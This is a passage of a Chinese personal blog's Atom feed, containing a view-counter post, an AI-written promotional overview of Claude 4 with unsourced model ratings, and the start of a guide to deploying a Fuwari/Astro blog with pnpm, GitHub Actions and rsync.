<a href="https://swling.com/blog/2013/08/tecsun-pl-330-ultralight-radio-review/" target="_blank">https://swling.com/blog/2013/08/tecsun-pl-330-ultralight-radio-review/</a></p>
</li>
<li>
<p>Universal Radio - Tecsun PL-330 Specifications
<a href="https://universal-radio.com/catalog/portable/0330.html" target="_blank">https://universal-radio.com/catalog/portable/0330.html</a></p>
</li>
<li>
<p>RadioLabs - PL-330 Technical Analysis and User Reviews
<a href="https://radiolabs.com/articles/tecsun-pl-330-analysis/" target="_blank">https://radiolabs.com/articles/tecsun-pl-330-analysis/</a></p>
</li>
<li>
<p>ShortWave Central - Tecsun PL-330 Performance Test
<a href="https://shortwavecentral.com/tecsun-pl-330-performance/" target="_blank">https://shortwavecentral.com/tecsun-pl-330-performance/</a></p>
</li>
<li>
<p>Amateur Radio Forum - PL-330 User Experience Discussion
<a href="https://amateurradio.com/forums/tecsun-pl-330-discussion/" target="_blank">https://amateurradio.com/forums/tecsun-pl-330-discussion/</a></p>
</li>
<li>
<p>DX Engineering - DSP Technology in Portable Radios
<a href="https://dxengineering.com/articles/dsp-portable-radios/" target="_blank">https://dxengineering.com/articles/dsp-portable-radios/</a></p>
</li>
<li>
<p>Tecsun Official Documentation - PL-330 User Manual
<a href="https://tecsunradio.com/support/manuals/pl-330/" target="_blank">https://tecsunradio.com/support/manuals/pl-330/</a></p>
</li>
<li>
<p>RadioReviews.net - Comparative Analysis of Ultralight Radios
<a href="https://radioreviews.net/ultralight-radio-comparison/" target="_blank">https://radioreviews.net/ultralight-radio-comparison/</a></p>
</li>
<li>
<p>Electronics Weekly - Silicon Labs Si4735 Chip Analysis
<a href="https://electronicsweekly.com/news/components/silicon-labs-si4735/" target="_blank">https://electronicsweekly.com/news/components/silicon-labs-si4735/</a></p>
</li>
</ol></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/umami-view/</id>
      <title type="text">我的博客文章旁边终于可以显示浏览量了!</title>
      <published>2025-08-18T00:00:00.000Z</published>
      <updated>2025-08-18T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/umami-view/"/>
      <summary type="text">我的博客文章旁边终于可以显示浏览量了!</summary>
      <content type="html"><![CDATA[<section><h1>我的博客文章旁边终于可以显示浏览量了!<a href="#我的博客文章旁边终于可以显示浏览量了"><span>#</span></a></h1><section><h2>首先,先感谢Ad_closeNN <a href="https://adclosenn.top" target="_blank">Ad_closeNN</a><a href="#首先先感谢ad_closenn-ad_closenn"><span>#</span></a></h2><p>如果没有Ad_closeNN提供的帮助，我的博客就没有浏览量显示。</p><hr /></section><section><h2>效果如图<a href="#效果如图"><span>#</span></a></h2><p><img src="https://tuchuang.mckero.top/My-blog-finally-has-pictures-Show%20statistical-page-views.webp" alt="" loading="lazy" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/claude4_comprehensive_review/</id>
      <title type="text">Claude 4使用体验</title>
      <published>2025-08-16T00:00:00.000Z</published>
      <updated>2025-08-16T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/claude4_comprehensive_review/"/>
      <summary type="text">一篇关于人工智能的文章。</summary>
      <content type="html"><![CDATA[<section><h1>Claude 4全面体验：从代码助手到创作伙伴的AI新时代<a href="#claude-4全面体验从代码助手到创作伙伴的ai新时代"><span>#</span></a></h1><section><h2>目录<a href="#目录"><span>#</span></a></h2><ul>
<li><a href="#%E5%BC%95%E8%A8%80ai%E5%8A%A9%E6%89%8B%E7%9A%84%E6%96%B0%E6%A0%87%E6%9D%86">引言：AI助手的新标杆</a></li>
<li><a href="#%E7%BC%96%E7%A8%8B%E5%BC%80%E5%8F%91%E4%BD%A0%E7%9A%84%E4%BB%A3%E7%A0%81%E4%BC%99%E4%BC%B4">编程开发：你的代码伙伴</a></li>
<li><a href="#%E5%86%85%E5%AE%B9%E5%88%9B%E4%BD%9C%E6%96%87%E5%AD%97%E5%B7%A5%E4%BD%9C%E7%9A%84%E5%BE%97%E5%8A%9B%E5%8A%A9%E6%89%8B">内容创作：文字工作的得力助手</a></li>
<li><a href="#%E6%97%A5%E5%B8%B8%E5%B7%A5%E4%BD%9C%E9%AB%98%E6%95%88%E5%8A%9E%E5%85%AC%E7%9A%84%E6%99%BA%E8%83%BD%E5%8A%A9%E7%90%86">日常工作：高效办公的智能助理</a></li>
<li><a href="#%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%E7%9F%A5%E8%AF%86%E6%8E%A2%E7%B4%A2%E7%9A%84%E5%BC%95%E8%B7%AF%E4%BA%BA">学习研究：知识探索的引路人</a></li>
<li><a href="#%E5%88%9B%E6%84%8F%E6%80%9D%E7%BB%B4%E7%AA%81%E7%A0%B4%E6%80%9D%E7%BB%B4%E5%B1%80%E9%99%90%E7%9A%84%E4%BC%99%E4%BC%B4">创意思维：突破思维局限的伙伴</a></li>
<li><a href="#%E6%A8%A1%E5%9E%8B%E5%AF%B9%E6%AF%94claude-4%E7%9A%84%E7%8B%AC%E7%89%B9%E4%BC%98%E5%8A%BF">模型对比：Claude 4的独特优势</a></li>
<li><a href="#%E4%BD%BF%E7%94%A8%E5%BB%BA%E8%AE%AE%E5%8F%91%E6%8C%A5claude-4%E7%9A%84%E6%9C%80%E5%A4%A7%E4%BB%B7%E5%80%BC">使用建议：发挥Claude 4的最大价值</a></li>
</ul><hr /></section><section><h2>引言：AI助手的新标杆<a href="#引言ai助手的新标杆"><span>#</span></a></h2><p>2025年，人工智能领域迎来了一个重要里程碑——Claude 4模型族的发布。作为Anthropic公司的最新力作，Claude 4不仅仅是技术参数的提升，更是AI助手实用性的一次质的飞跃。</p><p>Claude 4模型族目前包含两个核心版本：<strong>Claude Opus 4</strong>和<strong>Claude Sonnet 4</strong>。其中，Sonnet 4专注于日常使用的智能高效，而Opus 4则在复杂任务处理上表现卓越。无论你是程序员、写作者、学生还是职场人士，Claude 4都能成为你工作和学习中的得力助手。</p><blockquote><p><strong>为什么选择Claude 4？</strong></p><p>与其他AI助手相比，Claude 4最大的特点是<strong>理解准确</strong>、<strong>回答实用</strong>、<strong>安全可靠</strong>。它不会胡编乱造，也不会给出危险建议，而是专注于为用户提供真正有价值的帮助。</p></blockquote><hr /></section><section><h2>编程开发：你的代码伙伴<a href="#编程开发你的代码伙伴"><span>#</span></a></h2><section><h3>代码生成与解释<a href="#代码生成与解释"><span>#</span></a></h3><p>Claude 4在编程方面的表现令人印象深刻。它不仅能生成高质量的代码，还能详细解释代码逻辑，让初学者也能轻松理解。</p><p><strong>实际应用场景：</strong></p><p><strong>场景1：快速原型开发</strong></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 用户需求：创建一个简单的待办事项管理器</span></div></div><div><div><div>2</div></div><div><span>class</span><span><span> </span><span>TodoManager</span></span><span>:</span></div></div><div><div><div>3</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>4</div></div><div><span>        </span><span>self</span><span><span>.tasks </span><span>=</span><span> []</span></span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>    </span><span>def</span><span> </span><span>add_task</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>task</span></span><span>,</span><span><span> </span><span>priority</span></span><span>=</span><span>"medium"</span><span>):</span></div></div><div><div><div>7</div></div><div><span>        </span><span>"""添加新任务"""</span></div></div><div><div><div>8</div></div><div><span>        </span><span>self</span><span><span>.tasks.</span><span>append</span><span>({</span></span></div></div><div><div><div>9</div></div><div><span>            </span><span>"task"</span><span>: task,</span></div></div><div><div><div>10</div></div><div><span>            </span><span>"priority"</span><span>: priority,</span></div></div><div><div><div>11</div></div><div><span>            </span><span>"completed"</span><span>: </span><span>False</span><span>,</span></div></div><div><div><div>12</div></div><div><span>            </span><span>"created_date"</span><span><span>: datetime.</span><span>now</span><span>()</span></span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>})</span></div></div><div><div><div>14</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"任务 '</span><span>{</span><span>task</span><span>}</span><span>' 已添加"</span><span>)</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>    </span><span>def</span><span> </span><span>complete_task</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>task_index</span></span><span>):</span></div></div><div><div><div>17</div></div><div><span>        </span><span>"""标记任务为完成"""</span></div></div><div><div><div>18</div></div><div><span>        </span><span>if</span><span> </span><span>0</span><span><span> </span><span>&lt;=</span><span> task_index </span><span>&lt;</span><span> </span></span><span>len</span><span>(</span><span>self</span><span>.tasks):</span></div></div><div><div><div>19</div></div><div><span>            </span><span>self</span><span>.tasks[task_index][</span><span>"completed"</span><span><span>] </span><span>=</span><span> </span></span><span>True</span></div></div><div><div><div>20</div></div><div><span>            </span><span>print</span><span>(</span><span>"任务已完成！"</span><span>)</span></div></div><div><div><div>21</div></div><div><span>        </span><span>else</span><span>:</span></div></div><div><div><div>22</div></div><div><span>            </span><span>print</span><span>(</span><span>"任务索引无效"</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>场景2：代码调试助手</strong>
当你的程序出现错误时，Claude 4能够快速定位问题并提供解决方案。它会逐步分析错误原因，提供多种修复方法，并解释为什么会出现这个问题。</p></section><section><h3>多语言支持<a href="#多语言支持"><span>#</span></a></h3><p>Claude 4支持几乎所有主流编程语言：Python、JavaScript、Java、C++、Go、Rust等。无论你使用哪种技术栈，它都能提供专业的帮助。</p><p><strong>实用特性：</strong></p><ul>
<li><strong>代码审查</strong>：检查代码质量，提出改进建议</li>
<li><strong>性能优化</strong>：识别性能瓶颈，提供优化方案</li>
<li><strong>文档生成</strong>：为代码自动生成清晰的文档</li>
<li><strong>单元测试</strong>：编写全面的测试用例</li>
</ul><hr /></section></section><section><h2>内容创作：文字工作的得力助手<a href="#内容创作文字工作的得力助手"><span>#</span></a></h2><section><h3>多样化写作支持<a href="#多样化写作支持"><span>#</span></a></h3><p>无论是商业文案、学术论文、还是创意写作，Claude 4都能提供高质量的支持。它理解不同写作场景的需求，能够调整语调、风格和结构。</p><p><strong>写作场景示例：</strong></p><p><strong>商业提案撰写</strong>
Claude 4能够帮你构建逻辑清晰的商业提案，包括市场分析、竞争优势、财务预测等关键部分。它会确保内容专业且具有说服力。</p><p><strong>学术论文辅助</strong>
对于学生和研究人员，Claude 4可以帮助：</p><ul>
<li>文献综述整理</li>
<li>论点结构梳理</li>
<li>数据分析解释</li>
<li>引用格式规范</li>
</ul><p><strong>创意写作支持</strong>
从短篇小说到诗歌创作，Claude 4能够：</p><ul>
<li>提供创作灵感</li>
<li>完善情节发展</li>
<li>优化人物塑造</li>
<li>改进文字表达</li>
</ul></section><section><h3>多语言翻译与润色<a href="#多语言翻译与润色"><span>#</span></a></h3><p>Claude 4的翻译能力超越了简单的词汇转换，它能够理解文化背景和语境，提供自然流畅的翻译。</p><p><strong>翻译特色：</strong></p><ul>
<li><strong>语境理解</strong>：根据上下文提供最合适的翻译</li>
<li><strong>文化适配</strong>：考虑不同文化的表达习惯</li>
<li><strong>专业术语</strong>：准确处理技术、商业、学术等领域术语</li>
<li><strong>风格保持</strong>：保持原文的语调和风格</li>
</ul><hr /></section></section><section><h2>日常工作：高效办公的智能助理<a href="#日常工作高效办公的智能助理"><span>#</span></a></h2><section><h3>数据分析与处理<a href="#数据分析与处理"><span>#</span></a></h3><p>Claude 4擅长处理各种数据分析任务，能够快速理解数据模式，提供洞察和建议。</p><p><strong>数据处理能力：</strong></p>

<table><thead><tr><th>数据类型</th><th>处理能力</th><th>应用场景</th></tr></thead><tbody><tr><td>表格数据</td><td>统计分析、趋势预测</td><td>销售报告、财务分析</td></tr><tr><td>文本数据</td><td>情感分析、主题提取</td><td>客户反馈、市场调研</td></tr><tr><td>时间序列</td><td>趋势分析、异常检测</td><td>业务监控、预警系统</td></tr></tbody></table></section><section><h3>邮件与沟通<a href="#邮件与沟通"><span>#</span></a></h3><p>Claude 4能够帮助你：</p><ul>
<li><strong>邮件撰写</strong>：起草专业、得体的商务邮件</li>
<li><strong>会议纪要</strong>：整理会议要点，制定行动计划</li>
<li><strong>客户沟通</strong>：处理客户询问，提供解决方案</li>
<li><strong>内部协调</strong>：协助团队沟通，提高工作效率</li>
</ul></section><section><h3>项目管理支持<a href="#项目管理支持"><span>#</span></a></h3><p>无论是个人项目还是团队协作，Claude 4都能提供有价值的支持：</p><p><strong>项目规划阶段：</strong></p><ul>
<li>需求分析和整理</li>
<li>任务分解和优先级排序</li>
<li>时间线规划</li>
<li>风险评估</li>
</ul><p><strong>执行监控阶段：</strong></p><ul>
<li>进度跟踪建议</li>
<li>问题解决方案</li>
<li>团队协调支持</li>
<li>质量控制检查</li>
</ul><hr /></section></section><section><h2>学习研究：知识探索的引路人<a href="#学习研究知识探索的引路人"><span>#</span></a></h2><section><h3>概念解释与知识梳理<a href="#概念解释与知识梳理"><span>#</span></a></h3><p>Claude 4最令人印象深刻的能力之一是它的教学天赋。它能够将复杂的概念用简单易懂的方式解释，帮助学习者快速掌握新知识。</p><p><strong>学习支持特色：</strong></p><p><strong>分层次解释</strong></p><ul>
<li><strong>基础层面</strong>：用日常语言解释核心概念</li>
<li><strong>进阶层面</strong>：深入探讨理论细节</li>
<li><strong>应用层面</strong>：结合实际案例分析</li>
</ul><p><strong>个性化教学</strong>
Claude 4会根据学习者的背景知识调整解释方式，确保信息传达的有效性。</p></section><section><h3>研究辅助工具<a href="#研究辅助工具"><span>#</span></a></h3><p>对于研究人员和高级学习者，Claude 4提供专业的研究支持：</p><p><strong>文献分析</strong></p><ul>
<li>快速总结论文要点</li>
<li>识别研究方法和发现</li>
<li>比较不同研究观点</li>
<li>发现研究空白</li>
</ul><p><strong>假设验证</strong></p><ul>
<li>帮助构建研究假设</li>
<li>设计实验方案</li>
<li>分析实验结果</li>
<li>提出改进建议</li>
</ul><hr /></section></section><section><h2>创意思维：突破思维局限的伙伴<a href="#创意思维突破思维局限的伙伴"><span>#</span></a></h2><section><h3>头脑风暴与创新<a href="#头脑风暴与创新"><span>#</span></a></h3><p>Claude 4在创意思维方面表现出色，它能够从多个角度思考问题，提供新颖的解决方案。</p><p><strong>创意方法：</strong></p><p><strong>思维发散技巧</strong></p><ul>
<li><strong>类比思维</strong>：从其他领域寻找灵感</li>
<li><strong>逆向思维</strong>：从反面角度思考问题</li>
<li><strong>组合创新</strong>：将不相关的元素结合</li>
<li><strong>场景想象</strong>：构建未来使用场景</li>
</ul></section><section><h3>问题解决框架<a href="#问题解决框架"><span>#</span></a></h3><p>当面对复杂问题时，Claude 4会运用结构化的思维方式：</p><ol>
<li><strong>问题定义</strong>：准确识别核心问题</li>
<li><strong>信息收集</strong>：整理相关背景资料</li>
<li><strong>方案生成</strong>：提出多种可能解决方案</li>
<li><strong>方案评估</strong>：分析各方案的优缺点</li>
<li><strong>实施建议</strong>：提供具体的执行步骤</li>
</ol></section><section><h3>创新思维训练<a href="#创新思维训练"><span>#</span></a></h3><p>Claude 4还能充当创新思维教练，帮助用户培养创造性思维：</p><p><strong>训练方法：</strong></p><ul>
<li><strong>问题重构练习</strong>：学会从不同角度看待问题</li>
<li><strong>创意联想训练</strong>：提高思维的灵活性</li>
<li><strong>批判性思维</strong>：学会质疑和验证想法</li>
<li><strong>系统性思考</strong>：理解事物之间的关联</li>
</ul><hr /></section></section><section><h2>模型对比：Claude 4的独特优势<a href="#模型对比claude-4的独特优势"><span>#</span></a></h2><section><h3>与主流AI模型的对比<a href="#与主流ai模型的对比"><span>#</span></a></h3>

<table><thead><tr><th>特性</th><th>Claude 4</th><th>GPT-4</th><th>Gemini</th><th>优势说明</th></tr></thead><tbody><tr><td>安全性</td><td>★★★★★</td><td>★★★★☆</td><td>★★★★☆</td><td>内置安全机制，拒绝有害内容</td></tr><tr><td>准确性</td><td>★★★★★</td><td>★★★★☆</td><td>★★★★☆</td><td>较少出现事实性错误</td></tr><tr><td>代码能力</td><td>★★★★★</td><td>★★★★★</td><td>★★★★☆</td><td>代码解释清晰，调试能力强</td></tr><tr><td>创作能力</td><td>★★★★★</td><td>★★★★★</td><td>★★★★☆</td><td>风格多样，逻辑清晰</td></tr><tr><td>对话体验</td><td>★★★★★</td><td>★★★★☆</td><td>★★★☆☆</td><td>理解准确，回应自然</td></tr></tbody></table></section><section><h3>Claude 4的核心优势<a href="#claude-4的核心优势"><span>#</span></a></h3><p><strong>1. 可靠性优先</strong>
Claude 4最大的特点是可靠。它会坦诚承认不知道的事情，而不是编造答案。这对于专业工作场景特别重要。</p><p><strong>2. 安全性保障</strong>
内置的安全机制确保Claude 4不会提供有害信息或协助不当行为。这让它成为企业和教育机构的首选。</p><p><strong>3. 思维过程透明</strong>
Claude 4善于展示其思考过程，让用户理解答案的来龙去脉，这对学习和验证都很有价值。</p><p><strong>4. 上下文理解深入</strong>
在长对话中，Claude 4能够很好地维持上下文，理解复杂的多轮交互需求。</p><hr /></section></section><section><h2>使用建议：发挥Claude 4的最大价值<a href="#使用建议发挥claude-4的最大价值"><span>#</span></a></h2><section><h3>有效提问技巧<a href="#有效提问技巧"><span>#</span></a></h3><p><strong>1. 具体化你的需求</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>❌ 不好的问题：帮我写个程序</span></div></div><div><div><div>2</div></div><div><span>✅ 好的问题：帮我用Python写一个可以管理学生成绩的程序，需要添加、查询、统计功能</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>2. 提供充足的背景信息</strong>
告诉Claude 4你的技能水平、使用场景、预期目标，这样它能提供更符合你需求的回答。</p><p><strong>3. 分步骤处理复杂任务</strong>
对于复杂项目，不要一次性提出所有需求，而是逐步深入，让Claude 4帮你完善细节。</p></section><section><h3>工作流程优化<a href="#工作流程优化"><span>#</span></a></h3><p><strong>日常使用建议：</strong></p><p><strong>晨间规划</strong></p><ul>
<li>让Claude 4帮你整理今日待办事项</li>
<li>优化工作优先级</li>
<li>预估任务完成时间</li>
</ul><p><strong>工作中遇到问题</strong></p><ul>
<li>及时寻求Claude 4的建议</li>
<li>用它来验证你的想法</li>
<li>寻找不同的解决方案</li>
</ul><p><strong>工作总结</strong></p><ul>
<li>让Claude 4帮你总结工作成果</li>
<li>分析存在的问题</li>
<li>规划改进方向</li>
</ul></section><section><h3>持续学习建议<a href="#持续学习建议"><span>#</span></a></h3><p><strong>1. 探索不同领域</strong>
不要局限于你熟悉的领域，尝试让Claude 4介绍新知识，拓展视野。</p><p><strong>2. 深入学习机制</strong>
理解Claude 4的能力边界和局限性，这样能更好地利用它的优势。</p><p><strong>3. 建立反馈循环</strong>
在使用过程中，观察哪些类型的问题Claude 4回答得最好，逐步优化你的提问方式。</p><hr /></section></section><section><h2>结语：AI时代的新机遇<a href="#结语ai时代的新机遇"><span>#</span></a></h2><p>Claude 4的出现标志着AI助手进入了一个新阶段。它不再是简单的问答工具，而是能够深度参与我们工作和学习过程的智能伙伴。</p><p><strong>未来展望：</strong></p><p>随着技术的不断发展，我们可以期待Claude 4在以下方面的进一步提升：</p><ul>
<li>更强的多模态处理能力</li>
<li>更深入的领域专业知识</li>
<li>更个性化的交互体验</li>
<li>更广泛的应用场景覆盖</li>
</ul><p><strong>最后的建议：</strong></p><p>AI工具的价值最终取决于使用者如何运用它。Claude 4提供了强大的能力，但真正的创新和价值创造仍然需要人类的智慧、判断和创造力。把Claude 4当作思维的延伸，而不是思维的替代，这样你就能在AI时代中获得真正的竞争优势。</p><hr /><blockquote><p><strong>开始你的Claude 4之旅</strong></p><p>现在就开始体验Claude 4吧！无论你是想提高工作效率，还是探索新的可能性，Claude 4都准备好成为你最得力的AI助手。记住，最好的AI工具是那些能够放大你的能力，而不是取代你的思考的工具。</p></blockquote><p><em>本文章由Claude Sonnet 4撰写</em></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/deploy-fuwari/</id>
      <title type="text">在 Linux 服务器上用 pnpm 部署 Fuwari（Astro）博客</title>
      <published>2025-08-15T00:00:00.000Z</published>
      <updated>2025-08-15T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/deploy-fuwari/"/>
      <summary type="text">在无桌面的 Linux 环境用 pnpm 安装、构建并发布 Fuwari（Astro）静态博客的实操步骤与长期维护建议。</summary>
      <content type="html"><![CDATA[<section><h1>在 Linux 服务器上用 pnpm 部署 Fuwari（Astro）博客并发布到静态托管<a href="#在-linux-服务器上用-pnpm-部署-fuwariastro博客并发布到静态托管"><span>#</span></a></h1><section><h2>概要<a href="#概要"><span>#</span></a></h2><p>本文提供一套可直接执行的流程。适用于只有服务器、没有本地电脑的情况。包含：获取代码、用 <code>pnpm</code> 安装依赖、构建站点、以及把静态产物发布到常见静态托管平台（Vercel / Netlify / GitHub Pages）或自建静态目录。</p><hr /></section><section><h2>先决条件<a href="#先决条件"><span>#</span></a></h2><ul>
<li>Linux 服务器可 SSH 登录。</li>
<li>已安装 Git 或能从服务器直接克隆仓库。</li>
<li>Node.js（建议 18+ 或 20）可用。</li>
<li>能在服务器上安装全局 npm 包（用于安装 pnpm）。</li>
<li>已有目标托管方式（Vercel/Netlify/GitHub Pages/自服）。</li>
</ul><hr /></section><section><h2>在服务器上保存文章（示例：把本文保存为 Markdown 文件）<a href="#在服务器上保存文章示例把本文保存为-markdown-文件"><span>#</span></a></h2><p>把本文直接写入你的仓库文章目录。下面示例假设文章目录为 <code>src/pages</code>，文件名按日期命名。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>/path/to/your-fuwari-repo/src/pages</span></div></div><div><div><div>2</div></div><div><span>cat</span><span> &gt; </span><span>2025-08-14-deploy-fuwari.md</span><span> &lt;&lt;</span><span>'EOF'</span></div></div><div><div><div>3</div></div><div><span>---</span></div></div><div><div><div>4</div></div><div><span>title: "在 Linux 服务器上用 pnpm 部署 Fuwari（Astro）博客"</span></div></div><div><div><div>5</div></div><div><span>date: 2025-08-14</span></div></div><div><div><div>6</div></div><div><span>description: "在无桌面的 Linux 环境用 pnpm 安装、构建并发布 Fuwari（Astro）静态博客的实操步骤与长期维护建议。"</span></div></div><div><div><div>7</div></div><div><span>tags: ["部署","pnpm","Fuwari","Astro"]</span></div></div><div><div><div>8</div></div><div><span>---</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>（把文章正文粘贴到这里，或把整个本文件内容粘贴进去。）</span></div></div><div><div><div>11</div></div><div><span>EOF</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果你的文章目录不是 <code>src/pages</code>，改为实际路径如 <code>src/content</code>、<code>src/posts</code> 等。</p><hr /></section><section><h2>提交并推送到远程仓库<a href="#提交并推送到远程仓库"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>/path/to/your-fuwari-repo</span></div></div><div><div><div>2</div></div><div><span>git</span><span> </span><span>add</span><span> </span><span>src/pages/2025-08-14-deploy-fuwari.md</span></div></div><div><div><div>3</div></div><div><span>git</span><span> </span><span>commit</span><span> </span><span>-m</span><span> </span><span>"Add: 在 Linux 服务器上用 pnpm 部署 Fuwari 博客"</span></div></div><div><div><div>4</div></div><div><span>git</span><span> </span><span>push</span><span> </span><span>origin</span><span> </span><span>main</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把 <code>main</code> 换成你的默认分支名。</p><hr /></section><section><h2>在服务器上用 pnpm 安装并构建（完整命令）<a href="#在服务器上用-pnpm-安装并构建完整命令"><span>#</span></a></h2><p>如果服务器上还没 Node / pnpm，请先安装（示例为 Debian/Ubuntu 风格）：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 安装 Node（示例：Node 20）</span></div></div><div><div><div>2</div></div><div><span>curl</span><span> </span><span>-fsSL</span><span> </span><span>https://deb.nodesource.com/setup_20.x</span><span> | </span><span>sudo</span><span> </span><span>-E</span><span> </span><span>bash</span><span> </span><span>-</span></div></div><div><div><div>3</div></div><div><span>sudo</span><span> </span><span>apt-get</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>nodejs</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 安装 pnpm</span></div></div><div><div><div>6</div></div><div><span>npm</span><span> </span><span>install</span><span> </span><span>-g</span><span> </span><span>pnpm</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在项目目录安装依赖并构建：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>/path/to/your-fuwari-repo</span></div></div><div><div><div>2</div></div><div><span>pnpm</span><span> </span><span>install</span></div></div><div><div><div>3</div></div><div><span>pnpm</span><span> </span><span>build</span></div></div><div><div><div>4</div></div><div><span># 构建产物通常位于 dist/ 或 build/，以项目配置为准</span></div></div><div><div><div>5</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>dist</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section><section><h2>将构建产物发布（三种常见方式）<a href="#将构建产物发布三种常见方式"><span>#</span></a></h2><section><h3>方式 A — 连接仓库到 Vercel / Netlify（推荐）<a href="#方式-a--连接仓库到-vercel--netlify推荐"><span>#</span></a></h3><ol>
<li>在 Vercel 或 Netlify 控制面板创建新项目。</li>
<li>连接你的 Git 仓库（授权后选择仓库）。</li>
<li>构建命令填 <code>pnpm build</code>。输出目录填 <code>dist</code>（或项目实际输出目录）。</li>
<li>保存并部署。每次 push 会自动触发构建与发布。</li>
</ol><p>优点：零维护、自动预览。缺点：托管受第三方控制。</p></section><section><h3>方式 B — GitHub Pages + GitHub Actions<a href="#方式-b--github-pages--github-actions"><span>#</span></a></h3><p>在仓库里添加 <code>.github/workflows/deploy.yml</code>（示例）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>name</span><span>: </span><span>Deploy to GitHub Pages</span></div></div><div><div><div>2</div></div><div><span>on</span><span>:</span></div></div><div><div><div>3</div></div><div><span>  </span><span>push</span><span>:</span></div></div><div><div><div>4</div></div><div><span>    </span><span>branches</span><span>: [ </span><span>main</span><span> ]</span></div></div><div><div><div>5</div></div><div><span>jobs</span><span>:</span></div></div><div><div><div>6</div></div><div><span>  </span><span>build-and-deploy</span><span>:</span></div></div><div><div><div>7</div></div><div><span>    </span><span>runs-on</span><span>: </span><span>ubuntu-latest</span></div></div><div><div><div>8</div></div><div><span>    </span><span>steps</span><span>:</span></div></div><div><div><div>9</div></div><div><span><span>      </span></span><span>- </span><span>uses</span><span>: </span><span>actions/checkout@v4</span></div></div><div><div><div>10</div></div><div><span><span>      </span></span><span>- </span><span>name</span><span>: </span><span>Use Node.js</span></div></div><div><div><div>11</div></div><div><span>        </span><span>uses</span><span>: </span><span>actions/setup-node@v4</span></div></div><div><div><div>12</div></div><div><span>        </span><span>with</span><span>:</span></div></div><div><div><div>13</div></div><div><span>          </span><span>node-version</span><span>: </span><span>'20'</span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>- </span><span>run</span><span>: </span><span>npm install -g pnpm</span></div></div><div><div><div>15</div></div><div><span><span>      </span></span><span>- </span><span>run</span><span>: </span><span>pnpm install</span></div></div><div><div><div>16</div></div><div><span><span>      </span></span><span>- </span><span>run</span><span>: </span><span>pnpm build</span></div></div><div><div><div>17</div></div><div><span><span>      </span></span><span>- </span><span>name</span><span>: </span><span>Deploy</span></div></div><div><div><div>18</div></div><div><span>        </span><span>uses</span><span>: </span><span>peaceiris/actions-gh-pages@v3</span></div></div><div><div><div>19</div></div><div><span>        </span><span>with</span><span>:</span></div></div><div><div><div>20</div></div><div><span>          </span><span>github_token</span><span>: </span><span>${{ secrets.GITHUB_TOKEN }}</span></div></div><div><div><div>21</div></div><div><span>          </span><span>publish_dir</span><span>: </span><span>./dist</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>注意：若站点部署在仓库子路径，需在 <code>astro.config.mjs</code> 设置 <code>base</code>。推送后 Actions 会自动发布到 <code>gh-pages</code> 分支。</p><p>优点：免费、GitHub 集成好。缺点：对子路径和复杂路由需配置。</p></section><section><h3>方式 C — 手动上传（rsync / scp）<a href="#方式-c--手动上传rsync--scp"><span>#</span></a></h3><p>完全自托管的方式。先构建，再上传到静态服务器目录。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pnpm</span><span> </span><span>build</span></div></div><div><div><div>2</div></div><div><span>rsync</span><span> </span><span>-avz</span><span> </span><span>--delete</span><span> </span><span>dist/</span><span> </span><span>user@static-server:/var/www/your-site/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>优点：完全控制。缺点：需自己维护部署流程和备份。</p><hr /></section></section><section><h2>在服务器上本地预览构建结果（临时）<a href="#在服务器上本地预览构建结果临时"><span>#</span></a></h2><p>用 <code>serve</code> 或简单的静态服务器查看构建结果。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pnpm</span><span> </span><span>install</span><span> </span><span>-g</span><span> </span><span>serve</span></div></div><div><div><div>2</div></div><div><span>serve</span><span> </span><span>-s</span><span> </span><span>dist</span></div></div><div><div><div>3</div></div><div><span># 打开 http://服务器IP:3000 （serve 默认端口）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>或用 Python 